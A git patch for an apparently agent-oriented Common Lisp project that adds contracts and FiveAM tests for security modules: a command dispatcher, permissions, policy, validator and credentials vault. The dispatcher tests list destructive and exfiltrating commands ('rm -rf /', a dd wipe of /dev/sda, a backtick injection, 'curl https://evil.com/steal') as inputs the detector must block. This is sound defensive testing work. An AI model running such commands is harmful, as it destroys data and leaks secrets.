From ea1150f38ef1e6c4746f4f394194dfaf97626cf9 Mon Sep 17 00:00:00 2001 From: Amr Gharbeia Date: Tue, 5 May 2026 12:08:12 -0400 Subject: [PATCH] =?UTF-8?q?security:=20contracts=20+=20tests=20for=20all?= =?UTF-8?q?=205=20security=20modules=20(87=E2=86=92123=20checks)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- lisp/core-defpackage.lisp | 27 +++++++--- lisp/security-dispatcher.lisp | 46 +++++++++++++++++ lisp/security-permissions.lisp | 31 ++++++++++++ lisp/security-policy.lisp | 33 ++++++++++++ lisp/security-validator.lisp | 30 +++++++++++ lisp/security-vault.lisp | 53 ++++++++++++++++++++ org/core-defpackage.org | 27 +++++++--- org/security-dispatcher.org | 78 +++++++++++++++++++++++++++++ org/security-permissions.org | 60 ++++++++++++++++++++++ org/security-policy.org | 53 ++++++++++++++++++++ org/security-validator.org | 58 ++++++++++++++++++++++ org/security-vault.org | 91 +++++++++++++++++++++++++++++++++- 12 files changed, 571 insertions(+), 16 deletions(-) diff --git a/lisp/core-defpackage.lisp b/lisp/core-defpackage.lisp index c664b90..4fe8a8e 100644 --- a/lisp/core-defpackage.lisp +++ b/lisp/core-defpackage.lisp @@ -3,7 +3,8 @@ (:export #:frame-message #:read-framed-message - #:PROTO-GET + #:PROTO-GET + #:proto-get #:LIST-OBJECTS-WITH-ATTRIBUTE #:COSINE-SIMILARITY #:VAULT-MASK-STRING @@ -79,6 +80,12 @@ #:hitl-approve #:hitl-deny #:hitl-handle-message + #:dispatcher-check-secret-path + #:dispatcher-check-shell-safety + #:dispatcher-check-privacy-tags + #:dispatcher-check-network-exfil + #:dispatcher-gate + #:wildcard-match #:actuator-initialize #:dispatch-action #:register-actuator @@ -138,9 +145,11 @@ #:get-oc-config-dir #:prompt-for #:save-secret - #:get-tool-permission - #:set-tool-permission - #:check-tool-permission-gate + #:get-tool-permission + #:set-tool-permission + #:check-tool-permission-gate + #:permission-get + #:permission-set #:cognitive-tool #:cognitive-tool-name #:cognitive-tool-description @@ -156,10 +165,14 @@ #:distill-prompt #:*probabilistic-backends* #:*provider-cascade* - #:vault-get-secret - #:vault-set-secret + #:vault-get + #:vault-set + #:vault-get-secret + #:vault-set-secret #:memory-objects-by-attribute - #:find-headline-missing-id)) + #:find-headline-missing-id + #:policy-compliance-check + #:validator-protocol-check)) (in-package :passepartout) diff --git a/lisp/security-dispatcher.lisp b/lisp/security-dispatcher.lisp index 78aab44..4ae677c 100644 --- a/lisp/security-dispatcher.lisp +++ b/lisp/security-dispatcher.lisp @@ -401,3 +401,49 @@ Recognized formats: :priority 150 :trigger (lambda (ctx) (declare (ignore ctx)) t) :deterministic #'dispatcher-gate) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-dispatcher-tests + (:use :cl :fiveam :passepartout) + (:export #:dispatcher-suite)) + +(in-package :passepartout-security-dispatcher-tests) + +(def-suite dispatcher-suite :description "Verification of the Bouncer Security Dispatcher") +(in-suite dispatcher-suite) + +(test test-wildcard-match + "Contract 1: wildcard pattern * matches any characters." + (is (wildcard-match "*.env" ".env")) + (is (wildcard-match "*.env" "prod.env")) + (is (wildcard-match "*credential*" "my-credential-file")) + (is (wildcard-match "*.key" "id_rsa.key")) + (is (not (wildcard-match "*.env" "config.yaml")))) + +(test test-check-secret-path + "Contract 2: dispatcher-check-secret-path matches protected patterns." + (is (dispatcher-check-secret-path ".env")) + (is (dispatcher-check-secret-path "id_rsa")) + (is (not (dispatcher-check-secret-path "README.org")))) + +(test test-check-shell-safety + "Contract 3: dispatcher-check-shell-safety detects dangerous commands." + (is (dispatcher-check-shell-safety "rm -rf /")) + (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda")) + (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`")) + (is (not (dispatcher-check-shell-safety "echo hello world"))) + (is (not (dispatcher-check-shell-safety "ls -la /tmp")))) + +(test test-check-privacy-tags + "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content." + (is (dispatcher-check-privacy-tags '("@personal" ":project:"))) + (is (dispatcher-check-privacy-tags '("@personal"))) + (is (not (dispatcher-check-privacy-tags '(":public:" ":work:"))))) + +(test test-check-network-exfil + "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains." + (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) + (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) + (is (not (dispatcher-check-network-exfil "echo hello")))) diff --git a/lisp/security-permissions.lisp b/lisp/security-permissions.lisp index 553c39f..07af4ec 100644 --- a/lisp/security-permissions.lisp +++ b/lisp/security-permissions.lisp @@ -1,3 +1,5 @@ +(in-package :passepartout) + (defvar *permission-table* (make-hash-table :test 'equal)) (defun permission-set (tool-name level) @@ -11,3 +13,32 @@ (defskill :passepartout-security-permissions :priority 600 :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-permissions-tests + (:use :cl :fiveam :passepartout) + (:export #:permissions-suite)) + +(in-package :passepartout-security-permissions-tests) + +(def-suite permissions-suite :description "Verification of Tool Permissions") +(in-suite permissions-suite) + +(test test-permission-round-trip + "Contract 1: permission-set stores a level; permission-get retrieves it." + (permission-set "test-tool" :allow) + (is (eq :allow (permission-get "test-tool"))) + ;; Clean up + (permission-set "test-tool" nil)) + +(test test-permission-default + "Contract 2: unregistered tools default to :ask." + (is (eq :ask (permission-get "never-registered-tool-xyz")))) + +(test test-permission-case-insensitive + "Contract 3: tool names are normalized to lowercase." + (permission-set :CapitalTool :deny) + (is (eq :deny (permission-get :capitaltool))) + (permission-set "CapitalTool" nil)) diff --git a/lisp/security-policy.lisp b/lisp/security-policy.lisp index 85cecb1..b39d0ac 100644 --- a/lisp/security-policy.lisp +++ b/lisp/security-policy.lisp @@ -1,3 +1,5 @@ +(in-package :passepartout) + (defun policy-compliance-check (action context) "Enforces constitutional invariants on proposed actions." (declare (ignore context)) @@ -15,3 +17,34 @@ :priority 500 :trigger (lambda (ctx) (declare (ignore ctx)) t) :deterministic #'policy-compliance-check) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-policy-tests + (:use :cl :fiveam :passepartout) + (:export #:policy-suite)) + +(in-package :passepartout-security-policy-tests) + +(def-suite policy-suite :description "Verification of the Constitutional Policy Layer") +(in-suite policy-suite) + +(test test-policy-passes-valid-explanation + "Contract 1: action with sufficient explanation passes through unchanged." + (let* ((action '(:type :REQUEST :payload (:action :read :explanation "The user asked me to read the TODO list for today."))) + (result (policy-compliance-check action nil))) + (is (equal action result)))) + +(test test-policy-rejects-short-explanation + "Contract 1: action with explanation ≤10 characters is rejected with :LOG." + (let* ((action '(:type :REQUEST :payload (:action :read :explanation "hi"))) + (result (policy-compliance-check action nil))) + (is (eq :LOG (getf result :type))) + (is (search "blocked" (getf (getf result :payload) :text) :test #'char-equal)))) + +(test test-policy-rejects-missing-explanation + "Contract 1: action without :explanation is rejected." + (let* ((action '(:type :REQUEST :payload (:action :read))) + (result (policy-compliance-check action nil))) + (is (eq :LOG (getf result :type))))) diff --git a/lisp/security-validator.lisp b/lisp/security-validator.lisp index 37ceffb..1038805 100644 --- a/lisp/security-validator.lisp +++ b/lisp/security-validator.lisp @@ -1,3 +1,5 @@ +(in-package :passepartout) + (defun validator-protocol-check (msg) "Enforces structural schema compliance on protocol messages." (validate-communication-protocol-schema msg)) @@ -11,3 +13,31 @@ (progn (validator-protocol-check action) action) (error (c) (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c))))))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-validator-tests + (:use :cl :fiveam :passepartout) + (:export #:validator-suite)) + +(in-package :passepartout-security-validator-tests) + +(def-suite validator-suite :description "Verification of the Protocol Validator") +(in-suite validator-suite) + +(test test-validator-passes-valid-message + "Contract 1: a valid message passes protocol check." + (let ((msg '(:type :EVENT :payload (:sensor :heartbeat)))) + (handler-case + (progn + (validator-protocol-check msg) + (pass)) + (error (c) + (fail "Validator rejected a valid message: ~a" c))))) + +(test test-validator-rejects-missing-type + "Contract 1: a message missing :type is rejected." + (let ((msg '(:payload (:sensor :heartbeat)))) + (signals error + (validator-protocol-check msg)))) diff --git a/lisp/security-vault.lisp b/lisp/security-vault.lisp index 1ee1c4b..cc7df7d 100644 --- a/lisp/security-vault.lisp +++ b/lisp/security-vault.lisp @@ -1,3 +1,5 @@ +(in-package :passepartout) + (defvar *vault-memory* (make-hash-table :test 'equal) "In-memory cache of sensitive credentials.") @@ -31,3 +33,54 @@ (defskill :passepartout-security-vault :priority 600 :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-vault-tests + (:use :cl :fiveam :passepartout) + (:export #:vault-suite)) + +(in-package :passepartout-security-vault-tests) + +(def-suite vault-suite :description "Verification of the Credentials Vault") +(in-suite vault-suite) + +(test test-vault-round-trip + "Contract 1: vault-set stores a value; vault-get retrieves it." + (let ((test-key :vault-test-round-trip) + (test-secret "secret-abc123")) + (vault-set test-key test-secret) + (is (string= test-secret (vault-get test-key))) + ;; Clean up + (vault-set test-key nil))) + +(test test-vault-missing-key + "Contract 2: vault-get returns NIL for an unset, unknown provider." + (is (null (vault-get :nonexistent-provider-xyz)))) + +(test test-vault-isolation + "Contract 5: storing for provider A does not affect provider B." + (vault-set :vault-prov-a "secret-a") + (vault-set :vault-prov-b "secret-b") + (is (string= "secret-a" (vault-get :vault-prov-a))) + (is (string= "secret-b" (vault-get :vault-prov-b))) + (vault-set :vault-prov-a nil) + (vault-set :vault-prov-b nil)) + +(test test-vault-secret-wrappers + "Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret." + (let ((test-provider :vault-secret-test)) + (vault-set-secret test-provider "my-token") + (is (string= "my-token" (vault-get-secret test-provider))) + ;; Clean up + (vault-set-secret test-provider nil))) + +(test test-vault-type-isolation + "Contract 5: different :type values produce different keys." + (vault-set :vault-type-test "key-value" :type :api-key) + (vault-set :vault-type-test "secret-value" :type :secret) + (is (string= "key-value" (vault-get :vault-type-test :type :api-key))) + (is (string= "secret-value" (vault-get :vault-type-test :type :secret))) + (vault-set :vault-type-test nil :type :api-key) + (vault-set :vault-type-test nil :type :secret)) diff --git a/org/core-defpackage.org b/org/core-defpackage.org index e1b87aa..bd33428 100644 --- a/org/core-defpackage.org +++ b/org/core-defpackage.org @@ -28,7 +28,8 @@ The package definition. All public symbols are exported here. (:export #:frame-message #:read-framed-message - #:PROTO-GET + #:PROTO-GET + #:proto-get #:LIST-OBJECTS-WITH-ATTRIBUTE #:COSINE-SIMILARITY #:VAULT-MASK-STRING @@ -104,6 +105,12 @@ The package definition. All public symbols are exported here. #:hitl-approve #:hitl-deny #:hitl-handle-message + #:dispatcher-check-secret-path + #:dispatcher-check-shell-safety + #:dispatcher-check-privacy-tags + #:dispatcher-check-network-exfil + #:dispatcher-gate + #:wildcard-match #:actuator-initialize #:dispatch-action #:register-actuator @@ -163,9 +170,11 @@ The package definition. All public symbols are exported here. #:get-oc-config-dir #:prompt-for #:save-secret - #:get-tool-permission - #:set-tool-permission - #:check-tool-permission-gate + #:get-tool-permission + #:set-tool-permission + #:check-tool-permission-gate + #:permission-get + #:permission-set #:cognitive-tool #:cognitive-tool-name #:cognitive-tool-description @@ -181,10 +190,14 @@ The package definition. All public symbols are exported here. #:distill-prompt #:*probabilistic-backends* #:*provider-cascade* - #:vault-get-secret - #:vault-set-secret + #:vault-get + #:vault-set + #:vault-get-secret + #:vault-set-secret #:memory-objects-by-attribute - #:find-headline-missing-id)) + #:find-headline-missing-id + #:policy-compliance-check + #:validator-protocol-check)) #+end_src ** Package Implementation diff --git a/org/security-dispatcher.org b/org/security-dispatcher.org index 6a08f45..a0e8d7e 100644 --- a/org/security-dispatcher.org +++ b/org/security-dispatcher.org @@ -22,6 +22,34 @@ The Bouncer inspects nine vectors: The Bouncer also handles the **Flight Plan** system: when a high-risk action is blocked, it creates a Flight Plan node in the Org files that the user can manually approve. +** Contract + +1. (wildcard-match pattern path): returns T if ~path~ matches ~pattern~, + where ~*~ in pattern matches any number of characters. +2. (dispatcher-check-secret-path filepath): returns the matching + protected pattern if ~filepath~ matches any entry in + ~*dispatcher-protected-paths*~, nil otherwise. +3. (dispatcher-check-shell-safety cmd): returns a list of matched + dangerous-pattern names if ~cmd~ triggers any entry in + ~*dispatcher-shell-blocked*~, nil if safe. +4. (dispatcher-check-privacy-tags tags-list): returns T if any tag in + ~tags-list~ matches a privacy filter tag, nil otherwise. +5. (dispatcher-check-network-exfil cmd): returns T (unsafe) if ~cmd~ + contains an HTTP/HTTPS/FTP URL targeting an unwhitelisted domain. +6. (dispatcher-gate action context): main deterministic gate — routes by + sensor and applies ~dispatcher-check~ for safety verification. +7. (hitl-create blocked-action): returns a plist with ~:token~ and + ~:message~ for user-facing HITL approval. +8. (hitl-approve token): approves and re-injects a pending action. Returns + T if found, nil if invalid token. +9. (hitl-deny token): denies and removes a pending action. Returns T if + found, nil if invalid. + +** Boundaries + +- Does NOT handle the gate approval routing — that is ~core-loop-reason.org~. +- Does NOT persist HITL tokens — they live in memory only. + * Implementation ** Package Context @@ -586,4 +614,54 @@ Recognized formats: :priority 150 :trigger (lambda (ctx) (declare (ignore ctx)) t) :deterministic #'dispatcher-gate) +#+end_src + +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-dispatcher-tests + (:use :cl :fiveam :passepartout) + (:export #:dispatcher-suite)) + +(in-package :passepartout-security-dispatcher-tests) + +(def-suite dispatcher-suite :description "Verification of the Bouncer Security Dispatcher") +(in-suite dispatcher-suite) + +(test test-wildcard-match + "Contract 1: wildcard pattern * matches any characters." + (is (wildcard-match "*.env" ".env")) + (is (wildcard-match "*.env" "prod.env")) + (is (wildcard-match "*credential*" "my-credential-file")) + (is (wildcard-match "*.key" "id_rsa.key")) + (is (not (wildcard-match "*.env" "config.yaml")))) + +(test test-check-secret-path + "Contract 2: dispatcher-check-secret-path matches protected patterns." + (is (dispatcher-check-secret-path ".env")) + (is (dispatcher-check-secret-path "id_rsa")) + (is (not (dispatcher-check-secret-path "README.org")))) + +(test test-check-shell-safety + "Contract 3: dispatcher-check-shell-safety detects dangerous commands." + (is (dispatcher-check-shell-safety "rm -rf /")) + (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda")) + (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`")) + (is (not (dispatcher-check-shell-safety "echo hello world"))) + (is (not (dispatcher-check-shell-safety "ls -la /tmp")))) + +(test test-check-privacy-tags + "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content." + (is (dispatcher-check-privacy-tags '("@personal" ":project:"))) + (is (dispatcher-check-privacy-tags '("@personal"))) + (is (not (dispatcher-check-privacy-tags '(":public:" ":work:"))))) + +(test test-check-network-exfil + "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains." + (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) + (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) + (is (not (dispatcher-check-network-exfil "echo hello")))) #+end_src \ No newline at end of file diff --git a/org/security-permissions.org b/org/security-permissions.org index b4caee6..55bb6bb 100644 --- a/org/security-permissions.org +++ b/org/security-permissions.org @@ -9,8 +9,35 @@ Every cognitive tool (file read, file write, shell execute, etc.) has a permissi The default for any unregistered tool is ~:ask~ — cautious by default, permissive by configuration. This prevents a hallucinated tool call from executing without at least giving the user a chance to review it. +* Architectural Intent + +The Authorization Matrix is the lookup table that maps tool names to +permission levels. It is intentionally simple: set, get, default. +The complexity lives in the Bouncer (security-dispatcher.org), which +consults this table as one of its nine scan vectors. + +** Contract + +1. (permission-set tool-name level): stores ~level~ for ~tool-name~ + in ~*permission-table*~. Tool names are normalized to lowercase. +2. (permission-get tool-name): returns the stored level, or ~:ask~ if + no entry exists. +3. Tool name matching is case-insensitive — ~(permission-set :FOO :allow)~ + and ~(permission-get :foo)~ return ~:allow~. + +** Boundaries + +- Does NOT enforce permissions — the Bouncer does that. +- Does NOT persist permissions to disk — this is runtime-only. +- Does NOT validate that ~level~ is one of ~(:allow :ask :deny)~. + * Implementation +** Package Context +#+begin_src lisp +(in-package :passepartout) +#+end_src + ** Permission store (tool level) Hash table mapping tool names to their permission level. ;; REPL-VERIFIED: 2026-05-03T13:00:00 @@ -42,3 +69,36 @@ Retrieves the current permission level for a tool. Defaults to ~:ask~ if unset. :priority 600 :trigger (lambda (ctx) (declare (ignore ctx)) nil)) #+end_src + +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-permissions-tests + (:use :cl :fiveam :passepartout) + (:export #:permissions-suite)) + +(in-package :passepartout-security-permissions-tests) + +(def-suite permissions-suite :description "Verification of Tool Permissions") +(in-suite permissions-suite) + +(test test-permission-round-trip + "Contract 1: permission-set stores a level; permission-get retrieves it." + (permission-set "test-tool" :allow) + (is (eq :allow (permission-get "test-tool"))) + ;; Clean up + (permission-set "test-tool" nil)) + +(test test-permission-default + "Contract 2: unregistered tools default to :ask." + (is (eq :ask (permission-get "never-registered-tool-xyz")))) + +(test test-permission-case-insensitive + "Contract 3: tool names are normalized to lowercase." + (permission-set :CapitalTool :deny) + (is (eq :deny (permission-get :capitaltool))) + (permission-set "CapitalTool" nil)) +#+end_src diff --git a/org/security-policy.org b/org/security-policy.org index 0f97f45..3c3f353 100644 --- a/org/security-policy.org +++ b/org/security-policy.org @@ -11,8 +11,26 @@ This is the "Radical Transparency" invariant in practice. The agent must explain The Policy skill is intentionally simple. It has one job: ensure every action has a meaningful explanation. Other security concerns (secret scanning, path blocking, network exfiltration) are handled by the Bouncer. The Policy is about values, not threats. +** Contract + +1. (policy-compliance-check action context): if ~action~ has an + ~:explanation~ string longer than 10 characters, returns the action + unchanged. Otherwise, returns a ~:LOG~ rejection plist with + ~:level :warn~. + +** Boundaries + +- Does NOT check for dangerous content — the Bouncer does that. +- Does NOT validate explanation quality — only length and presence. +- Does NOT consider ~context~ — implementation ignores it currently. + * Implementation +** Package Context +#+begin_src lisp +(in-package :passepartout) +#+end_src + ** Policy Logic (policy-compliance-check) ;; REPL-VERIFIED: 2026-05-03T13:00:00 #+begin_src lisp @@ -37,3 +55,38 @@ The Policy skill is intentionally simple. It has one job: ensure every action ha :trigger (lambda (ctx) (declare (ignore ctx)) t) :deterministic #'policy-compliance-check) #+end_src + +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-policy-tests + (:use :cl :fiveam :passepartout) + (:export #:policy-suite)) + +(in-package :passepartout-security-policy-tests) + +(def-suite policy-suite :description "Verification of the Constitutional Policy Layer") +(in-suite policy-suite) + +(test test-policy-passes-valid-explanation + "Contract 1: action with sufficient explanation passes through unchanged." + (let* ((action '(:type :REQUEST :payload (:action :read :explanation "The user asked me to read the TODO list for today."))) + (result (policy-compliance-check action nil))) + (is (equal action result)))) + +(test test-policy-rejects-short-explanation + "Contract 1: action with explanation ≤10 characters is rejected with :LOG." + (let* ((action '(:type :REQUEST :payload (:action :read :explanation "hi"))) + (result (policy-compliance-check action nil))) + (is (eq :LOG (getf result :type))) + (is (search "blocked" (getf (getf result :payload) :text) :test #'char-equal)))) + +(test test-policy-rejects-missing-explanation + "Contract 1: action without :explanation is rejected." + (let* ((action '(:type :REQUEST :payload (:action :read))) + (result (policy-compliance-check action nil))) + (is (eq :LOG (getf result :type))))) +#+end_src diff --git a/org/security-validator.org b/org/security-validator.org index d0e2614..2aa6f35 100644 --- a/org/security-validator.org +++ b/org/security-validator.org @@ -6,8 +6,34 @@ * Overview The Protocol Validator enforces schema compliance on every message entering or leaving the cognitive pipeline. It checks that messages are valid plists, that they have the required ~:type~ and ~:payload~ fields, and that the type is one of the known types (~:REQUEST~, ~:EVENT~, ~:RESPONSE~, ~:LOG~, ~:STATUS~). This prevents malformed messages from crashing the pipeline and ensures backward compatibility when the protocol evolves. +* Architectural Intent + +The Protocol Validator wraps ~validate-communication-protocol-schema~ +(the core communication function) in a skill-level gate. It is the first +filter every message passes through — malformed messages are rejected +before they reach any cognitive stage. + +** Contract + +1. (validator-protocol-check msg): returns ~msg~ if valid per + ~validate-communication-protocol-schema~. Signals ~error~ on + malformed messages (caught by the skill's deterministic gate). +2. The skill's deterministic gate wraps the validator: valid actions pass + through; invalid actions produce a ~:LOG~ rejection with + ~:level :error~. + +** Boundaries + +- Does NOT define the schema — that is ~core-communication.org~. +- Does NOT validate semantic content — that is the Bouncer and Policy. + * Implementation +** Package Context +#+begin_src lisp +(in-package :passepartout) +#+end_src + ** Validation Logic ;; REPL-VERIFIED: 2026-05-03T13:00:00 #+begin_src lisp @@ -28,3 +54,35 @@ The Protocol Validator enforces schema compliance on every message entering or l (error (c) (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c))))))) #+end_src + +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-validator-tests + (:use :cl :fiveam :passepartout) + (:export #:validator-suite)) + +(in-package :passepartout-security-validator-tests) + +(def-suite validator-suite :description "Verification of the Protocol Validator") +(in-suite validator-suite) + +(test test-validator-passes-valid-message + "Contract 1: a valid message passes protocol check." + (let ((msg '(:type :EVENT :payload (:sensor :heartbeat)))) + (handler-case + (progn + (validator-protocol-check msg) + (pass)) + (error (c) + (fail "Validator rejected a valid message: ~a" c))))) + +(test test-validator-rejects-missing-type + "Contract 1: a message missing :type is rejected." + (let ((msg '(:payload (:sensor :heartbeat)))) + (signals error + (validator-protocol-check msg)))) +#+end_src diff --git a/org/security-vault.org b/org/security-vault.org index 1ec88c0..b9d6257 100644 --- a/org/security-vault.org +++ b/org/security-vault.org @@ -6,8 +6,42 @@ * Overview The *Credentials Vault* provides secure in-memory storage for sensitive API keys and session tokens. +* Architectural Intent + +The Credentials Vault isolates secrets from the rest of the system in +a dedicated hash-table. It provides simple get/set primitives with +environment-variable fallback for known providers. This is the single +place where credentials enter the system — every provider skill routes +through here. + +** Contract + +1. (vault-set provider secret &key type): stores secret under + ~(format nil "~a-~a" provider type)~ in ~*vault-memory*~. +2. (vault-get provider &key type): returns the stored secret, or falls + back to the appropriate environment variable for known providers + (~:openai~, ~:anthropic~, ~:openrouter~, ~:gemini~). Returns NIL + if neither exists. +3. (vault-get-secret provider): wrapper — calls ~vault-get~ with + ~:type :secret~. +4. (vault-set-secret provider secret): wrapper — calls ~vault-set~ + with ~:type :secret~. +5. Vault isolation: storing a secret for provider A does not affect + provider B's entry. Different ~:type~ values produce different keys. + +** Boundaries + +- Does NOT encrypt at rest — that is the session layer's responsibility. +- Does NOT validate key format — the provider skill does that. +- Does NOT rotate or expire keys — this is a simple store. + * Implementation +** Package Context +#+begin_src lisp +(in-package :passepartout) +#+end_src + ** Vault Storage ;; REPL-VERIFIED: 2026-05-03T13:00:00 #+begin_src lisp @@ -41,7 +75,6 @@ The *Credentials Vault* provides secure in-memory storage for sensitive API keys (let ((key (format nil "~a-~a" provider type))) (setf (gethash key *vault-memory*) secret))) #+end_src -#+end_src ** Secret Wrappers (gateway-messaging) @@ -62,11 +95,65 @@ Delegates to the existing =vault-get=/=vault-set= with ~:type :secret~. "Stores a secret or token for a gateway provider." (vault-set provider secret :type :secret)) #+end_src -#+end_src ** Skill Registration #+begin_src lisp (defskill :passepartout-security-vault :priority 600 :trigger (lambda (ctx) (declare (ignore ctx)) nil)) +#+end_src + +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-vault-tests + (:use :cl :fiveam :passepartout) + (:export #:vault-suite)) + +(in-package :passepartout-security-vault-tests) + +(def-suite vault-suite :description "Verification of the Credentials Vault") +(in-suite vault-suite) + +(test test-vault-round-trip + "Contract 1: vault-set stores a value; vault-get retrieves it." + (let ((test-key :vault-test-round-trip) + (test-secret "secret-abc123")) + (vault-set test-key test-secret) + (is (string= test-secret (vault-get test-key))) + ;; Clean up + (vault-set test-key nil))) + +(test test-vault-missing-key + "Contract 2: vault-get returns NIL for an unset, unknown provider." + (is (null (vault-get :nonexistent-provider-xyz)))) + +(test test-vault-isolation + "Contract 5: storing for provider A does not affect provider B." + (vault-set :vault-prov-a "secret-a") + (vault-set :vault-prov-b "secret-b") + (is (string= "secret-a" (vault-get :vault-prov-a))) + (is (string= "secret-b" (vault-get :vault-prov-b))) + (vault-set :vault-prov-a nil) + (vault-set :vault-prov-b nil)) + +(test test-vault-secret-wrappers + "Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret." + (let ((test-provider :vault-secret-test)) + (vault-set-secret test-provider "my-token") + (is (string= "my-token" (vault-get-secret test-provider))) + ;; Clean up + (vault-set-secret test-provider nil))) + +(test test-vault-type-isolation + "Contract 5: different :type values produce different keys." + (vault-set :vault-type-test "key-value" :type :api-key) + (vault-set :vault-type-test "secret-value" :type :secret) + (is (string= "key-value" (vault-get :vault-type-test :type :api-key))) + (is (string= "secret-value" (vault-get :vault-type-test :type :secret))) + (vault-set :vault-type-test nil :type :api-key) + (vault-set :vault-type-test nil :type :secret)) #+end_src \ No newline at end of file